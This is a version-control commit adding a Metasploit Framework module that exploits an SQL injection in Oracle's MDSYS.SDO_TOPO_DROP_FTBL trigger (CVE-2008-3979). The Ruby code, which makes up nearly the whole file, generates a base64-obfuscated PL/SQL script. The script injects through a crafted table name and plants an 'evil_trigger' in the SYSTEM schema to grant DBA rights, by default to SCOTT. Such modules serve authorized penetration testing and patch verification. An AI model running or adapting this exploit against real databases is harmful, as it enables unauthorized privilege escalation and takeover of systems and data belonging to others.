added oracle sqli module droptable_trigger.rb from Sh2kerr.

git-svn-id: file:///home/svn/framework3/trunk@6209 4d416f70-5f16-0410-b530-b9f4589650da

modules/auxiliary/admin/oracle/droptable_trigger.rb

@@ -0,0 +1,125 @@
+##
+# $Id: droptable_trigger.rb
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::FILEFORMAT
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'SQL Injection in  MDSYS.SDO_TOPO_DROP_FTBL Trigger.',
+			'Description'    => %q{
+					This module will escalate a Oracle DB user to MDSYS by exploiting an sql injection bug in
+					the MDSYS.SDO_TOPO_DROP_FTBL trigger. After that exploit escalate user to DBA using "CREATE ANY TRIGGER" privilege
+					given to MDSYS user by creating evil trigger in system scheme (2-stage attack).
+			},
+			'Author'         => [ 'Sh2kerr <research[ad]dsec.ru>' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision:$',
+			'References'     =>
+				[
+					[ 'CVE', '2008-3979' ],
+					[ 'URL', 'http://www.securityfocus.com/archive/1/500061' ],
+					[ 'URL', 'http://www.ngssoftware.com/' ],
+				],
+			'DisclosureDate' => 'Jan 13 2009'))
+
+			register_options( 
+				[
+					OptString.new('SQL',      [ false, 'The SQL to execute.',  'GRANT DBA TO SCOTT']),
+					OptString.new('USER',      [ false, 'The current user. ',  'SCOTT']),
+					OptString.new('FILENAME', [ false, 'The file name.',  'msf.sql']),
+					OptString.new('OUTPUTPATH', [ false, 'The location of the file.',  './data/exploits/']),
+				
+				], self.class)
+	end
+
+	def run
+		name1  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
+		name2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
+		rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
+		rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
+		rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
+		rand4 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
+		rand5 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
+
+		function1 = %Q|
+			CREATE OR REPLACE PROCEDURE #{name1}
+			AUTHID CURRENT_USER AS
+			PRAGMA AUTONOMOUS_TRANSACTION; 
+			BEGIN EXECUTE IMMEDIATE '#{datastore['SQL']}'; 
+			END;
+			|
+
+
+		function2 = %Q|
+			CREATE OR REPLACE FUNCTION #{name2} RETURN number AUTHID CURRENT_USER is
+			PRAGMA AUTONOMOUS_TRANSACTION;
+			STMT VARCHAR2(400):= 'create or replace trigger system.evil_trigger before insert on system.DEF$_TEMP$LOB DECLARE msg VARCHAR2(10);
+			BEGIN #{datastore['USER']}.#{name1};
+			end evil_trigger;';
+			BEGIN
+			EXECUTE IMMEDIATE STMT;
+			COMMIT;
+			RETURN 1;
+			END;
+			|
+
+		prepare ="create table \"O' and 1=#{datastore['USER']}.#{name2}--\"(id number)"
+		
+		exploiting1 ="drop table \"O' and 1=#{datastore['USER']}.#{name2}--\""
+		
+		exploiting2 = "insert into system.DEF$_TEMP$LOB (TEMP$BLOB) VALUES ('AA')"
+		
+		fun1  = Rex::Text.encode_base64(function1)
+		fun2 = Rex::Text.encode_base64(function2)
+		prp  = Rex::Text.encode_base64(prepare)
+		exp1 = Rex::Text.encode_base64(exploiting1)
+		exp2 = Rex::Text.encode_base64(exploiting2)
+		
+
+		sql = %Q|
+			DECLARE
+			#{rand1} VARCHAR2(32767);
+			#{rand2} VARCHAR2(32767);
+			#{rand3} VARCHAR2(32767);
+			#{rand4} VARCHAR2(32767);
+			#{rand5} VARCHAR2(32767);
+			BEGIN
+			#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun1}')));
+			EXECUTE IMMEDIATE #{rand1};
+			EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name1} TO PUBLIC';
+			#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun2}')));
+			EXECUTE IMMEDIATE #{rand2};
+			EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name2} TO PUBLIC';
+			#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{prp}')));
+			EXECUTE IMMEDIATE #{rand3};
+			#{rand4} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp1}')));
+			EXECUTE IMMEDIATE #{rand4};
+			#{rand5} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp2}')));
+			EXECUTE IMMEDIATE #{rand5};
+			END;
+			/
+			DROP FUNCTION #{name1};
+			DROP FUNCTION #{name2};
+			|
+
+
+		print_status("Creating '#{datastore['FILENAME']}' file ...")		
+		file_create(sql)
+
+
+	end
+
+end